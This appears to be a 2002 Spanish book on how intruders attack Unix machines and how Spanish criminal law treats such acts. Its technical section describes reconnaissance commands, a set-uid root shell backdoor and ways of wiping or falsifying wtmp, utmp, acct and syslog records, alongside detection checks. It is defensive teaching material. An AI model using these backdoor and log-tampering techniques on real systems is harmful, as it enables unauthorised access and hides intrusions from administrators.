# HACKERS: PROCEDIMIENTOS FRENTE A SUS ATAQ

HACKERS:

HACKERS: PROCEDIMIENTOS F

HACKERS: I

José Luis Rivas López · José E. Ares Gómez
Víctor A. Salgado Seguín · Laura E.Conde Rodríguez

# Hackers:
## Procedimientos frente a sus ataques

José Luis Rivas López
José E. Ares López
Laura E. Conde Rodríguez
Víctor A. Salgado Seguín

Publicado en el 2002



DISEÑO DE PORTADA : Santiago Rivas López
© Ediciones VirtuaLibro, 2002
Manuel Murguía 25 – 8ºA, 15011 La Coruña (España)
www.virtualibro.com

ISBN: 84-95660-54-7
Depósito Legal: C-2811-2002

Manufactured in Spain – Realizado en España

*A Inma Valeije*

*A mi niña, la estrella que me guía.*

***José Luis Rivas López***

*En primer lugar a Ana, Iria, Noa e Iago va por vosotros y por todos aquellos familiares, amigos y compañeros contribuyen a que el día a día sea más fácil por ello se siembra futuro*

***José Enrique Ares Gómez***

*Para Maite, mi mujer, por su infinita paciencia, amor y comprensión.*

***Victor Alberto Salgado Seguín***

*A mi familia.*

***Laura Conde Rodríguez***

# *AGRADECIMIENTOS*

*Gracias a:* ***Judith Mª Pérez Rodríguez*** *y* ***Pilar Vallejo de Vicente*** *quiénes revisaron este trabajo. También nos gustaría dar las gracias a* ***Santiago Rivas López*** *quién diseño la portada.*

# *AUTORES*

*José Luis Rivas López*
*José Enrique Ares Gómez*
*Víctor A. Salgado Seguín*
*Laura Conde Rodríguez*

# *DIRECCIÓN Y COORDINACIÓN*

*José Luis Rivas López*
*José Enrique Ares Gómez*

# ÍNDICE

# 1.- INTRODUCCIÓN

Actualmente los sistemas informáticos se pueden considerar imprescindibles en casi todas las actividades empresariales, industriales, docentes, personales, etc. La cantidad de información que se maneja es inmensa. Por ello es necesario plantearnos el problema a nivel técnico y legislativo que se plantea cuando alguien intenta entrar en dicha información bien para alterarla, destruirla, para suplantarla o para apropiarse de ella, etc.

Teniendo en cuenta que la innovación tecnológica avanza de una manera vertiginosa nos encontramos con dos problemas:

1) Fallos de seguridad en los sistemas debido a esta velocidad tecnológica cuando se encuentra la solución para arreglarlo se descubre otro problema.

2) El sistema legislativo al que podríamos acudir para proteger nuestros derechos tiene una velocidad de respuesta mucho más lenta que la tecnológica.

En este artículo hemos tratado el problema desde estas dos ópticas (legislativa y tecnológica) e indicamos posibles caminos a recorrer para prevenir una agresión o establecer una solución cuando la agresión ya se ha sufrido.

Por tanto hemos intentado mostrar los aspectos más importantes para aumentar la seguridad ante posibles ataques de hackers. Para ello se han plasmado algunos ejemplos prácticos de sus maneras de actuar, así como el marco legal por donde se mueven los administradores para rastrearlos y capturarlos.

Siempre hay que tener presente que la seguridad es como una cadena. No sirve de nada que sea una cadena muy buena si uno de sus eslabones está

defectuoso, la cadena se rompe. Si extrapolamos la cadena a la seguridad y los eslabones a los servicios, si uno de ellos no es seguro el acceso a nuestro sistema será más fácil.

## 2.- ¿CÓMO SE SUELE HACKEAR UNA MAQUINA?

A continuación se detalla una manera habitual de actuar de un hacker partiendo del principio que ya ha recopilado información general de fallos de seguridad (bugs) y de mensajes oficiales que muestran los pasos que hay que dar para aprovechar un determinado fallo de seguridad incluyendo los programas necesarios (exploits). Dichos fallos, se aprovechan para conseguir introducirse en el sistema, están basados casi siempre en los protocolos TCP/IP, en servicios de red como el NFS o NIS o en los comandos remotos de Unix. Los protocolos basados en TCP/IP que se suelen aprovechar son Telnet, FTP, TFTP, SMTP, HTTP, etc. Cada uno de ellos tiene sus propios agujeros de seguridad que se van parcheando con nuevas versiones, pero siempre aparecen nuevos bugs.

Toda esta información está en Internet solo tienen que saber buscarla. Por tanto partimos de cómo obtienen los hackers la información de un determinado equipo o de red podemos considerar las siguientes etapas:

1) Obtención de la información del equipo a atacar

2) Hackeo del equipo

3) Obtención de la cuenta de root

4) Mantener los privilegios de root

5) Borrar las huellas

### 2.1.- OBTENCIÓN DE LA INFORMACIÓN DEL EQUIPO A ATACAR

Antes de la intención de hackear un equipo normalmente recopilan una serie de datos que ayuden a decidir sobre que técnica de hackeo utilizar. Normalmente intentaran conseguir:

- el tipo de sistema operativo a atacar, para ello utilizan el comando *telnet <<equipo>>*

- la versión del sendmail que utiliza, esta información la consigue tecleando *telnet <<equipo>> 25*. El numero 25 es el numero de puerto que utiliza normalmente dicho demonio. Una vez conectados para salir basta utilizar QUIT o para la obtención de ayuda HELP. Para evitar esto basta con configurar el router de manera que todas las conexiones procedentes de fuera pasen a un equipo central y que sea desde ésta desde dónde se distribuya el correo internamente

- que servicios RPC tiene, basta con escribir *rpcinfo –p <<equipo>>*

- si utiliza la exportación de directorios (NFS) teclearan *showmount –e <<equipo>>*

- información de todo el dominio, es decir que equipos lo integran

- login de los usuarios que tienen acceso al equipo. Para ello basta con que ejecuten el comando *finger @nombre_equipo.es* y les saldrá una información parecida a esta, si no habéis desactivado el servicio fingerd en el fichero /etc/inetd.conf:

| Login | Name | TTY | Idle | When | Where |
|---|---|---|---|---|---|
| esper | José Luis Rivas López | co | ld | Wed 09:10 | afrodita.ipf.net |

con estos datos ya tienen suficiente para empezar a hackear la maquina.

## *2.2.- HACKEO DEL EQUIPO*

Hay dos formas básicas de introducirse en sistema:

1) Entrar directamente sin necesidad de poseer una cuenta en el sistema. Por ejemplo como se detallaba al principio con los comando remotos (ejemplo del IRC).

2) Conseguir el fichero de contraseñas del equipo y crackearlo. Para crackearlo existen varios programas tanto para Unix como para Windows .

## *2.3.- OBTENCIÓN DE LA CUENTA DE ROOT*

Una vez introducidos en el equipo intentaran la obtención de privilegios de root para ello explotaran los bugs encontrados para nuestro sistema en el primer paso. Lo que también hacen es intentar explotar bugs que afecten a los sistemas Unix en general, si siguen sin funcionar se dedican a explorar el sistema (hasta donde les permitan sus privilegios) para tener una visión general de cómo está protegido el sistema (por ejemplo viendo si los usuarios tienen ficheros .rhosts, si determinados ficheros tienen permisos set-uid, que usuario tiene determinados ficheros, etc.) y a partir de ahí tiene dos opciones principalmente: la primera que se olviden durante unos días del equipo para poder recopilar más información de bugs actualizados y la segunda opción es la de hackear otra máquina del mismo dominio y que sea más insegura. Una vez hackeada el equipo inseguro colocaran un sniffer para conseguir una cuenta para el otro equipo.

Un sniffer no es más que un programa que captura todo lo que pasa por la red poniendo al equipo en modo promiscuo. La obtención de un sniffer es tan sencillo como navegar por la red, pero incluso programas como Etherfind o Tcpdump se pueden utilizar para este fin, aunque no hayan sido concebidos para ello. La manera de comprobar si un sistema está en modo promiscuo es tecleando *ifconfig –a*. También crackean el fichero de contraseñas, etc. Una manera de evitar los sniffers es separar mediante switches las redes de acceso general del resto de la red.

## *2.4.- MANTENER LOS PRIVILEGIOS DE ROOT*

Existirán diversas formas de mantener los privilegios de root, es decir asegurar que la próxima vez que entren al sistema con la cuenta de un usuario que posea privilegios normales, puedan conseguir privilegios de root de forma fácil y sin complicaciones. Para ello la forma más utilizada es el "*sushi"* (set-uid-shell) o más conocido como huevo.

Consiste en copiar un shell a un directorio público (en el que un usuario normal pueda ejecutar los ficheros) y cambiar el nombre al que ellos quieran. Hay que asegurarse de que el shell copiado tenga como propietario al root y cambian los permisos del fichero con las cifras 4755. El 4 significa que cualquier usuario que ejecute dicho fichero lo estará ejecutando con los privilegios del propietario. Como en este caso el propietario es el root y el fichero en cuestión es un shell, el sistema les abrirá un shell con privilegios de root. Con esta operación la próxima vez que acceden al sistema con la cuenta de un usuario normal, sólo tendrán que ejecutar el shell antes mencionado y se convertirán en root. Una manera de detectarlos seria con el comando "*find / -type f –a \ ( -perm –4000 –o –perm –2000 \) –print"*. Otra manera de detectar cambios en los ficheros del equipo seria teclear el comando

*ls –aslgR /bin /etc /usr > ListaPrincipal*

dicho archivo (ListaPrincipal) deberá estar en alguna ubicación que no pueda ser detectada por el hacker, después se deben ejecutar los comandos

*ls –aslgR /bin /etc /usr > ListaActual*

*diff ListaPrincipal ListaActual*

con lo que nos saldrá un informe. Las líneas que solo estén en la ListaPrincipal saldrán precedidas con un carácter "<", mientras que las líneas que estén solo en ListaActual irán precedidas con el carácter ">".

## *2.5.- BORRAR LAS HUELLAS*

El sistema operativo guarda varios registros de las conexiones de los usuarios al equipo, por tanto el hacker intentará ocultar sus huellas de algún modo. A continuación se detallarán los ficheros y algún modo de borrar sus huellas.

- wtmp.- guarda un log cada vez que un usuario se introduce en el equipo o sale de él. Dicho fichero se ubica normalmente en: */etc/wtmp, /var/log/wtmp ó /var/adm/wtmp*. Este puede ser mostrado con el comando *who localización_fichero*, con lo que saldrá:

```
esper    ttyp3    Mar    26    12:00    (afrodita.ipf.net)
         ttyp3    Mar    26    12:10
esper    ttyp3    Mar    26    12:10    (afrodita.ipf.net)
         ttyp3    Mar    26    13:00
pepe     ttyp2    Mar    30    17:00    (atenea.ccii.net)
         ttyp2    Mar    30    17:59
```

También puede obtenerse la información con el comando *last*.

```
esper    ttyp4    afrodita.ipf.net    Tue  Mar  13   11:45 – 11:56 (00:00)
pepe     ttyp4    aries.tsm.com       Mon  Mar  12   10:30 – 11:00 (00:30)
reboot   ~                           Mon  Mar  12   10:02
shutdown          ~                  Mon  Mar  12   10:02
esper    ftp      afrodita.ipf.net    Sun  Mar  11   12:00 – 12:19 (00:19)
```

- utmp.- guarda un registro de los usuarios que están utilizando el equipo mientras están conectados a él. Se encuentra dicho fichero en: */var/log/utmp, /var/adm/utmp ó /etc/utmp*. Para mostrar la información de este fichero basta con teclear *who* y saldrá algo de esta forma

```
esper    tty0c   Mar   13    12:31
pepe     tty03   Mar   12    12:00
jlrivas  ttyp2   Mar   1     03:01   (casa.router.com)
```

Existen dos modos de borrar sus huellas en estos dos ficheros. La primera es que como no son ficheros de texto no podrán editarlo con un editor de texto, pero existen programas conocidos con el nombre de zappers que pueden borrar los datos relativos a un usuario en particular dejando el resto de la información intacta. La segunda es una manera mucho más radical, consiste en dejar el fichero con cero bytes o incluso borrarlo. Esta manera solo la utilizan como último recurso ya que suscita muchas sospechas por parte de los administradores.

- lastlog.- en el se encuentra el momento exacto en el que entró el usuario en el equipo por última vez. Se ubica en */var/log/lastlog* ó */var/adm/lastlog*.

- acct ó pacct.- registra todos los comandos ejecutados por cada usuario, pero no sus argumentos. Se encuentra en: */var/adm/acct* ó */var/log/acct*. Para mostrar la información teclear el comando *lastcomm* con lo que saldrá:

```
sh       S       root     --       0.67 secs Tue Mar 26 12:40
lpd      F       root     --       1.06 secs Tue Mar 26 12:39
ls               esper    tty03    0.28 secs Tue Mar 26 12:38
```

Borrar las huellas con el accounting activado es mucho más complicado para ellos, aunque lo que hacen es reducir la información de su presencia en el sistema para ello emplean dos métodos distintos. Primero nada más entrar en el sistema copiarán el fichero acct a otro fichero y antes de abandonar el equipo solo tendrán que copiar dicho archivo de nuevo al acct, por tanto todos los comando ejecutados durante la sesión no aparecen en el fichero acct. El inconveniente con el que se encuentran es que queda registrada en el sistema su entrada, así como las dos copias, por tanto si veis dos copias del fichero

acct algo no va bien. La segunda manera sería hacerse con un editor para el fichero acct que borrara los datos correspondientes al usuario, dejando intactos al resto de los usuarios. El problema que les acarrea es que la ejecución del programa editor que borra sus huella quedaría registrado como ejecutado por su usuario. La ultima opción sería dejar el fichero acct con cero bytes.

- syslog.- es una aplicación que viene con el sistema operativo Unix. Dicha aplicación genera mensajes que son enviados a determinados ficheros donde quedan registrados. Estos mensajes son generados cuando se dan unas determinadas condiciones, ya sean condiciones relativas a seguridad, información, etc. Los mensajes de errores típicos están ubicados en /*var*/*log*/*messages*, /*usr*/*adm*/*messages* o /*var*/*adm*/*messages*. Un fichero típico seria:

> *Mar 26 13:10 esper login: ROOT LOGIN ttyp3 FROM casa.router.com*
> *Mar 26 13:30 esper login: ROOT LOGIN ttyp4 FROM afrodita.ipf.net*
> Mar 27 09:00 esper su: pepe on /dev/ttyp3

Para borrar las huellas que deja dicho demonio necesitan tener privilegios de root. Lo que harán será ver el fichero de configuración /*etc*/*syslogd.conf* para saber en que ficheros están guardando la información, por tanto cuando los averigüen los visualizarán y buscarán algún mensaje de la intromisión en el equipo de la forma "*login: Root LOGIN REFUSED on ttya*". Cuando los encuentran los borran y cambian la fecha del fichero con el comando *touch* de forma que coincida la fecha del último mensaje con la fecha del fichero. Ya que si no lo hacen comprobando las fechas no coincidirían y se deduce que alguien ha modificado el fichero.

Una vez descrito un procedimiento de actuación de los hackers para atacar un sistema tendremos que hacernos la pregunta ¿Estamos protegidos o desprotegidos legalmente frente estos actos?

# *3.- EVALUACIÓN DE LA SITUACIÓN DESDE EL MARCO LEGAL*

La atribución de la competencia jurisdiccional a unos determinados tribunales para conocer de los litigios derivados de las conductas realizadas a través de Internet presenta una serie de dificultades, debidas al hecho de que las tecnologías informáticas y telemáticas están introduciendo unos cambios en la sociedad que no han sido por el momento tratados en nuestra legislación de una forma precisa y específica.

En el ámbito de las relaciones privadas entre particulares la cuestión de la laguna legislativa no presenta tanto problema, ya que a este tipo de operaciones les son aplicables las normas internacionales sobre competencia jurisdiccional que determinan el tribunal concreto ante el que se sustanciará el proceso de entre todos estados que puedan guardar algún tipo de conexión con el litigio. Por otro lado, en este tipo de relaciones jurídicas las partes están perfectamente identificadas.

De todos modos es conveniente que las propias partes de los negocios jurídicos que se puedan realizar a través de Internet establezcan en sus contratos cláusulas de sumisión expresa por las que determinen el tribunal que tendrá competencia en el caso de que se suscite un conflicto entre ellas.

La atribución de la competencia se complica a la hora de determinar los órganos jurisdiccionales que podrán enjuiciar los delitos cometidos a través de la red, debido a los efectos transfronterizos que éstos puedan tener, unido al hecho de que lo que puede ser constitutivo de delito en un estado puede no estar tipificado como tal en otro.

La problemática se centra principalmente en los delitos cometidos a distancia, que son definidos por el Tribunal Supremo como aquellos en los que la actividad se realiza en un lugar y el resultado se consigue en otro distinto. Existen varias teorías jurisprudenciales para determinar el lugar de comisión del delito, pero de todos modos a la hora de determinar la competencia judicial

siempre habrá que tener en cuenta las circunstancias, condición y naturaleza del delito cometido. Así, en el caso de los delitos continuados (aquellos en los que, en ejecución de un plan preconcebido o aprovechando idéntica ocasión, realice una pluralidad de conductas que ofendan a uno o varios sujetos e infrinjan un mismo precepto del Código penal o preceptos de naturaleza semejante) será competente el juez del lugar en que radique el centro de las actividades y en el que se fraguaron los distintos delitos, cursándose órdenes y datos para su realización.

La jurisprudencia en ocasiones otorga la competencia al juez del lugar en donde se produjeron los perjuicios derivados del delito, por lo que no está muy clara la determinación de la competencia jurisdiccional territorial dentro del estado español, aunque sin embargo la jurisprudencia no deja ningún tipo de duda respecto a la jurisdicción española es la competente para conocer de los delitos planeados y organizados en España, por ciudadanos españoles, dirigidos al público español y cuyos resultados se producen en este país, a pesar de que los medios técnicos utilizados se hallen en un país extranjero.

Pero desgraciadamente hay muchas actuaciones delictivas que no comparten esas mismas características, ya que normalmente dentro de la red una misma conducta producirá sus efectos en cualquier lugar del mundo. Por ello se ha sugerido, como solución para cubrir este vacío en cuanto a la atribución de la competencia jurisdiccional, la celebración de Acuerdos Internacionales en los que se especifique el órgano que juzgará los delitos en caso de conflictos de atribución entre dos o más estados. En ellos también se podría determinar los tipos de acciones u omisiones que constituyan conductas perseguibles, armonizando así la legislación de los estados firmantes respecto a este tipo de delitos.

El problema que se plantea respecto a la celebración de este tipo de acuerdos es la existencia de países que no ratifican ningún tipo de Tratado, los llamados “paraísos informáticos”, que debido a su actitud se encuentran fuera de la acción de la justicia.

La Comisión Europea ha determinado que corresponde a los estados miembros garantizar la aplicación de la legislación existente, no obstante ha dicho que se han de proponer medidas concretas en el ámbito de Justicia e Interior para intensificar la cooperación entre los estados miembros. Afirma también la Comisión que todas las actividades están cubiertas por el marco jurídico actual, pero se precisa una mayor cooperación internacional para evitar la existencia de refugios seguros para los documentos contrarios a las normas generales del Derecho Penal.

Otra posibilidad consiste en la creación de unas normas específicas para Internet, aunque esta solución presenta también varios problemas, como el hecho de que los usuarios de la red son contrarios a que el estado intervenga Internet y coarte sus libertades.

Se ha propuesto también soluciones de tipo técnico en este sentido, pero todavía no se ha llegado a una solución definitiva para evitar que los delitos cometidos a través de Internet no sean juzgados porque no se pueda determinar la competencia judicial. En este contexto se pueden establecer los siguientes puntos:

1) El delito informático

2) Penalización

3) Obtención de pruebas

## *3.1.- EL DELITO INFORMÁTICO.*

El artículo 10 de nuestro vigente Código Penal dice que *"son delitos o faltas las acciones y omisiones dolosas penadas por la Ley"*.

Respecto a los delitos informáticos, no hallamos una definición de los mismos en la legislación. Sin embargo, algunos autores han apuntado algunas como es el caso del Profesor Pérez Luño que los delimita como aquel *"conjunto*

*de conductas criminales que se realizan a través del ordenador electrónico, o que afectan al funcionamiento de los sistemas informáticos"*.

Otra definición es aportada por el Profesor Davara Rodríguez, el cual afirma que se trata de *"la realización de una acción que, reuniendo las características que delimitan el concepto de delito, sea llevada a cabo utilizando un elemento informático y/o telemático, o vulnerando los derechos del titular de un elemento informático, ya sea hardware o software".*

A pesar de ser contemplado por la doctrina legal, no existe formalmente el delito informático como tal en nuestra legislación, ni siquiera como categoría genérica. ¿A qué llamamos pues delitos informáticos?. Pues a un conjunto de delitos dispares recogidos en el Código Penal en diversas secciones los cuales tienen en común la intervención de la tecnología informática, bien como medio de comisión de la acción típica o bien como objeto del ilícito.

En general, podemos señalar las siguientes características propias de estos tipos delictivos:

1- Rapidez en su comisión y acercamiento en tiempo y espacio:

Un delito cometido a través de las nuevas tecnologías puede ser cometido con gran celeridad pudiendo llevar, incluso, décimas de segundo, en el caso, por ejemplo, de la activación de virus informáticos o en el robo de información mediante robots inteligentes.

Así mismo, el espacio queda relativizado al poder ser cometidos a miles de kilómetros mediante el uso de las redes de telecomunicaciones como Internet.

2- Especialización técnica de los autores.

La complejidad propia de las nuevas tecnologías implica un alto nivel de conocimientos, respecto a su manejo y estructura, que han de tener los

autores, en términos generales, para que puedan cometer los delitos tipificados.

3- Facilidad para encubrir el hecho y borrar las pruebas.

Debido a la naturaleza de la tecnología digital, es relativamente fácil, para un sujeto experimentado, borrar o destruir las huellas o alteraciones que haya podido causar en un sistema informático, eliminando así las pruebas que le incriminen.

Debido a las características descritas de estos delitos, se plantean los siguientes problemas que dificultan su perseguibilidad en la práctica:

1- Determinación del sujeto.

En ocasiones se puede determinar el ordenador concreto desde el que se ha cometido un hecho delictivo pero, el hecho de que una pluralidad de personas tengan acceso al mismo hace difícil la determinación del autor material del ilícito, debiendo acudir a sistemas de prueba tradicionales para esta finalidad: testigos, registros de entrada en el local, etc. que no siempre son posibles.

2- Facilidad para ocultar pruebas o indicios.

Tal y como comentábamos anteriormente, la facilidad de destruir los registros informáticos u otros indicios digitales de un delito informático por una persona con los conocimientos necesarios puede dificultar enormemente la prueba de dicho hecho.

3- Complejidad técnica.

En la línea de lo ya apuntado, estos tipos delictivos solamente pueden ser cometidos por expertos en informática y telecomunicaciones, por ello es necesario un alto grado de preparación por parte de las autoridades que persigan y conozcan de estos hechos o de sus colaboradores.

4- Conexión de causalidad.

Dado que hay un distanciamiento en el espacio e, incluso, en el tiempo, entre el acto delictivo y el resultado pernicioso, es necesario probar la relación de causalidad entre ambos sucesos. Se debe conectar el hecho producido por el actor con el perjuicio producido, en algunos casos, a miles de kilómetros de allí.

5- Lugar de comisión del delito.

Otro problema muy común en el caso de Internet es, como se ha visto anteriormente, la determinación del lugar donde se entiende producido el delito y, con ello, la legislación y la jurisdicción competentes para conocer del mismo. Como, por ejemplo, en la entrada de un *hacker* en un servidor de correo situado en los Estados Unidos cuando éste se haya conectado desde España.

Podemos clasificar los delitos informáticos en dos tipos: por un lado, los delitos clásicos que ahora pueden ser cometidos también a través de las nuevas tecnologías, y por otro lado, los nuevos delitos surgidos específicamente con ocasión de la informática y de la telemática.

A continuación veremos la tipificación y la penalización de estos delitos en nuestro vigente Código Penal.

## *3.2.- PENALIZACIÓN*

Un hacker es la persona que tiene la capacidad y los conocimientos para explorar un sistema informático y recabar todo tipo de información, pudiendo entrar en él sin autorización, y vulnerar así bienes jurídicos protegidos por nuestro Código Penal, mediante la comisión de una serie de conductas ilícitas punibles que se realizan dentro del ámbito de Internet.

Tal y como se ha comentado, nuestra legislación no cuenta con una tipificación específica para los delitos cometidos mediante instrumentos informáticos o telemáticos, si bien gran parte de este tipo de comportamientos pueden subsumirse dentro de las conductas tipificadas en nuestro Código Penal, ya que existen varios delitos contemplados por la legislación española que pueden ser cometidos mediante hacking, siendo los más importantes los delitos de descubrimiento y revelación de secretos y de daños.

El delito de revelación de secretos está contemplado en varios preceptos del Código Penal, ya que derivarán consecuencias distintas según el sujeto activo del delito o si media o no causa legal por delito.

En los artículos 197 y siguientes de nuestro vigente Código Penal se contempla el caso de que el sujeto que comete el delito es un particular.

La conducta tipificada en el apartado primero de este artículo consiste en el apoderamiento de mensajes de correo electrónico, la interceptación de las telecomunicaciones de otro sujeto o utilización de artificios técnicos de cualquier señal de comunicación para descubrir los secretos o vulnerar la intimidad de otro, sin su consentimiento.

El bien jurídico protegido mediante este precepto es el derecho a la intimidad, reconocido en el art. 18 de la Constitución española como un derecho fundamental, por lo que tendrá una protección especial. Es importante en este caso que los comportamientos se realicen sin el consentimiento del titular del derecho a la intimidad, pues de lo contrario esta conducta sería impune debido a su atipicidad.

También ha de cumplirse el elemento subjetivo del tipo, es decir, la intención del sujeto agente de descubrir los secretos o vulnerar la intimidad del sujeto pasivo. Por esta razón se ha dicho que el denominado hacking blanco, aquel en el que el acceso a un sistema, no es punible, al no cumplirse en este supuesto el elemento del tipo del dolo, aunque se trata de una cuestión controvertida.

La pena que se impone para este tipo de conductas es prisión de uno a cuatro años y multa de doce a veinticuatro meses (esta última mediante el sistema de días-multa, según el cual el castigo consiste en una sanción pecuniaria por la cual se establecerá una cuota a pagar por cada día de pena impuesta, y cuya cuantía podrá oscilar entre doscientas y cincuenta mil pesetas diarias, con una extensión mínima de cinco días y una máxima de dos años).

El apartado segundo del artículo 197 impone las mismas sanciones para aquellas personas que, sin estar autorizadas, se apoderen, utilicen o modifiquen, en perjuicio de tercero, datos reservados de carácter personal o familiar de otro que se hallen registrados en ficheros o soportes magnéticos, electrónicos o telemáticos, o los altere o utilice en perjuicio de su titular o de un tercero.

Por último respecto a esta modalidad, el apartado tercero de este mismo artículo tipifica la conducta consistente en revelar o ceder los secretos que se hayan descubierto mediante las técnicas anteriormente descritas, pero en esta ocasión el castigo es más grave, ya que se le impone una pena de prisión de dos a cinco años, debido a que en las conductas penadas en los apartados precedentes el único que puede conocer los datos secretos descubiertos es el sujeto que comete el delito, mientras que en este caso hay más personas que los conocen.

En las tres conductas descritas las penas se agravan si son realizados los hechos por personas encargadas o responsables de los ficheros, soportes informáticos, electrónicos o telemáticos.

El artículo 198 del Código Penal tipifica las mismas conductas del artículo anterior cometidas por autoridad o funcionario público, fuera de los casos permitidos por la ley, sin mediar causa por delito y prevaliéndose de su cargo.

Las penas impuestas en este caso son también de prisión, y además se le impondrá también la pena de inhabilitación absoluta por tiempo de seis a doce años.

Este precepto se aplica cuando no media causa legal por delito, es decir, cuando la razón de esa vulneración del derecho a la intimidad no se halla en la investigación de un posible delito, ya que de darse esa circunstancia serán aplicables los artículos 534 y siguientes del Código Penal, que castigan al funcionario o autoridad que, mediando causa por delito, y sin respetar las garantías legales constitucionales, registre los documentos que se encuentren en el domicilio de la víctima, intercepte sus telecomunicaciones o revele la información obtenida. Al mediar en estos supuestos causa por delito las penas son más leves.

Otra modalidad de delito de descubrimiento de secretos es aquella que se refiere a la propiedad industrial, contemplada en el artículo 278 del Código Penal. Consiste en el apoderamiento por cualquier medio de datos, documentos escritos o electrónicos, soportes informáticos o el empleo de alguno de los medios del artículo 197.1 para descubrir un secreto de empresa, imponiendo las mismas penas que este último artículo.

También penaliza las conductas de revelación, difusión y cesión de los secretos descubiertos, señalando además que el presente artículo se aplicará independientemente de las penas que se puedan imponer por el apoderamiento o destrucción de los soportes informáticos.

Nuestra legislación también contempla el delito de daños sobre datos informáticos en el artículo 264.2 del Código Penal, en el que se que se impondrá una pena de prisión de uno a tres años y multa de doce a veinticuatro meses al que por cualquier medio destruya, altere, inutilice o de cualquier modo dañe los datos, programas o documentos electrónicos ajenos contenidos en redes, soportes o sistemas informáticos.

En este tipo se pueden incluir actos como introducción de virus en sistemas informáticos u otras conductas análogas.

Es necesaria la intención de causar daños, pero también se considera delito de daños aquel que se comete por imprudencia grave, siempre que los daños causados tengan una cuantía superior a diez millones de pesetas.

Además de estos delitos los llamados hackers pueden cometer otros tipos de conductas criminales tales como la estafa electrónica, delitos relativos a la propiedad intelectual o falsedad de documentos.

La estafa electrónica está regulada en el artículo 248.2 del Código Penal como aquella conducta consistente en valerse de alguna manipulación informática o artificio semejante para conseguir la transferencia no consentida de cualquier activo patrimonial en perjuicio de tercero, siendo además necesario el ánimo de lucro.

Podría considerarse, aunque en este caso la legislación no especifica nada al respecto, la posibilidad de que los hackers cometan el delito de robo con fuerza en las cosas, ya que según el artículo 238 del Código Penal constituye tal delito el apoderarse de las cosas muebles ajenas, con ánimo de lucro , cuando se descubran las claves para sustraer el contenido de armarios, arcas u otra clase de muebles u objetos cerrados o sellado , sea en el lugar del robo o fuera del mismo. Así, estos sujetos podrían apoderarse de una cosa mueble después de haber obtenido mediante una manipulación informática la clave para abrir el objeto que la contiene (una caja fuerte, por ejemplo).

También provocan la consideración de delito de robo, y por lo tanto no se aprecia delito de hurto (que lleva aparejada una pena inferior) la inutilización de sistemas específicos de alarma o guarda con los mismos fines.

Otro delito contra la propiedad que podría cometerse informáticamente es la apropiación indebida, contemplada en el artículo 252 del Código Penal, que básicamente consiste en la apropiación o distracción de dinero, efectos,

valores o cualquier otra cosa mueble o activo patrimonial que se haya recibido en depósito, comisión o administración, o por otro título que produzca obligación de entregarlos o devolverlos, o la negativa de haberlos recibido.

Un ejemplo muy conocido es la llamada “técnica del salami” que consiste en el desvío de partes insignificantes de dinero de los depósitos o transacciones bancarias hacia cuentas bajo el control de un empleado de una entidad financiera. Al cabo del tiempo, el montante económico distraído informáticamente puede ascender a millones de pesetas. La pena de este tipo delictivo se asimila a la de la estafa: prisión de seis meses a seis años y, en su caso, multa de seis a doce meses.

El delito contra la propiedad intelectual viene definido por el artículo 270 del Código Penal como aquel en el que un sujeto, con ánimo de lucro y en perjuicio de un tercero, reproduzca, plagie, distribuya o comunique públicamente, en todo o en parte, una obra literaria, artística o científica, o su transformación, interpretación o ejecución artística fijada en cualquier tipo de soporte o comunicada a través de cualquier medio, sin la autorización de los titulares de los derechos intelectuales o de sus cesionarios.

Respecto a las falsedades documentales el precepto esencial relativo al hacking es el 400 del Código Penal, en virtud del cual se pena la fabricación o tenencia de útiles, materiales, instrumentos, sustancias, máquinas, programas de ordenador o aparatos, específicamente destinados a la comisión de los delitos de falsificación de documentos públicos o privados con la misma sanción que a los autores de dichas falsificaciones.

Además, los artículos 390 y siguientes del Código Penal tipifican los delitos de falsedades de documentos, públicos y privados, que son definidos en el artículo 26 de la misma ley como cualquier soporte material que exprese o incorpore datos, hechos o narraciones con eficacia probatoria o cualquier tipo de relevancia jurídica.

Otro supuesto delictivo poco conocido es la infidelidad en la custodia de documentos, contemplado en los artículos 413 a 416 del Código Penal, que en principio van destinados a los funcionarios públicos que tengan encomendada la custodia de documentos que, sin duda, pueden estar en formato electrónico. Sin embargo, el artículo 414.2 se refiere en concreto a los particulares que destruyeren o inutilizaren los medios puestos para restringir el acceso a documentación pública reservada, los mismos serán castigados con la pena de multa de seis a dieciocho meses. En este supuesto se incardina perfectamente el caso de los hackers que burlan o inutilizan un password o un firewall que restringe el acceso al sistema informático de una Administración Pública.

Se podría equiparar al delito de calumnias e injurias hechas con publicidad aquellas en las que se utiliza un soporte informático o telemático para propagarlas, ya que en el artículo 211 del Código Penal se reputan como tales las que se propaguen por medio de la imprenta, la radiodifusión o por cualquier otro medio de eficacia semejante.

Otro delito asimilable es el de defraudación de fluido eléctrico y análogas donde se incluye la defraudación en redes de telecomunicaciones en el artículo 255 y 256 del Código Penal, castigada con multa de tres a doce meses, aparte de la total reparación de los daños económicos producidos.

No hay que olvidar los delitos relativos a la apología del delito o del genocidio recogidos en el artículo 18.1 y en el 608.2, relativos a la publicación de páginas Web, por ejemplo, en las que se imparten doctrinas radicales o racistas o en las que se anima a la comisión de delitos o se ensalza a sus autores. Estos delitos pueden llevar aparejada una pena de entre uno y dos años de prisión.

Hay otras referencias indirectas en el Código Penal, entre las que podemos destacar la contenida en el artículo 346 referente al delito de estragos relativa a la “perturbación grave de cualquier clase o medio de comunicación” (pensemos en el caso del colapso provocado de una red como Internet). Llama la atención dado que este delito se castiga con una pena de prisión de entre

diez y veinte años si supone un peligro para la vida o la integridad de las personas.

Aparte de los vistos, existen otros hechos delictivos cuya comisión podría llevarse a cabo por Internet, pero debido a que la legislación no concreta nada al respecto y al principio de legalidad que rige en el Derecho Penal, por el cual no se podrá considerar ninguna acción u omisión como delito si no esta prevista como tal con anterioridad a su perpetración, no está claro si esas acciones podrían considerarse como constitutivas de una infracción penal.

## *3.3.- OBTENCIÓN DE PRUEBAS*

Respecto a la dificultad, puesta en relieve, para obtener y realizar las pruebas pertinentes de un delito informático, cabe realizar unas últimas precisiones y salvedades.

Pese a que en un principio pueda parecer difícil o casi imposible la obtención de pruebas sobre la comisión de un delito en Internet esto no es así, ya que los mismos medios y mecanismos que son empleados por los autores de la infracción para su perpetración pueden ser utilizados para el esclarecimiento de los hechos y la identificación de los presuntos delincuentes, ya que se pueden obtener copias que documentan todas las actividades llevadas a cabo por los sujetos para cometer el delito.

De esta forma mediante tecnologías utilizadas en las pruebas digitales se pueden reproducir todas las actuaciones tendentes a la realización del resultado delictivo, porque en Internet los denominados objetos digitales no son irrepetibles. A esto se une el hecho de que los datos transmitidos por correo electrónico pueden ser intervenidos simultáneamente o incluso unos días después.

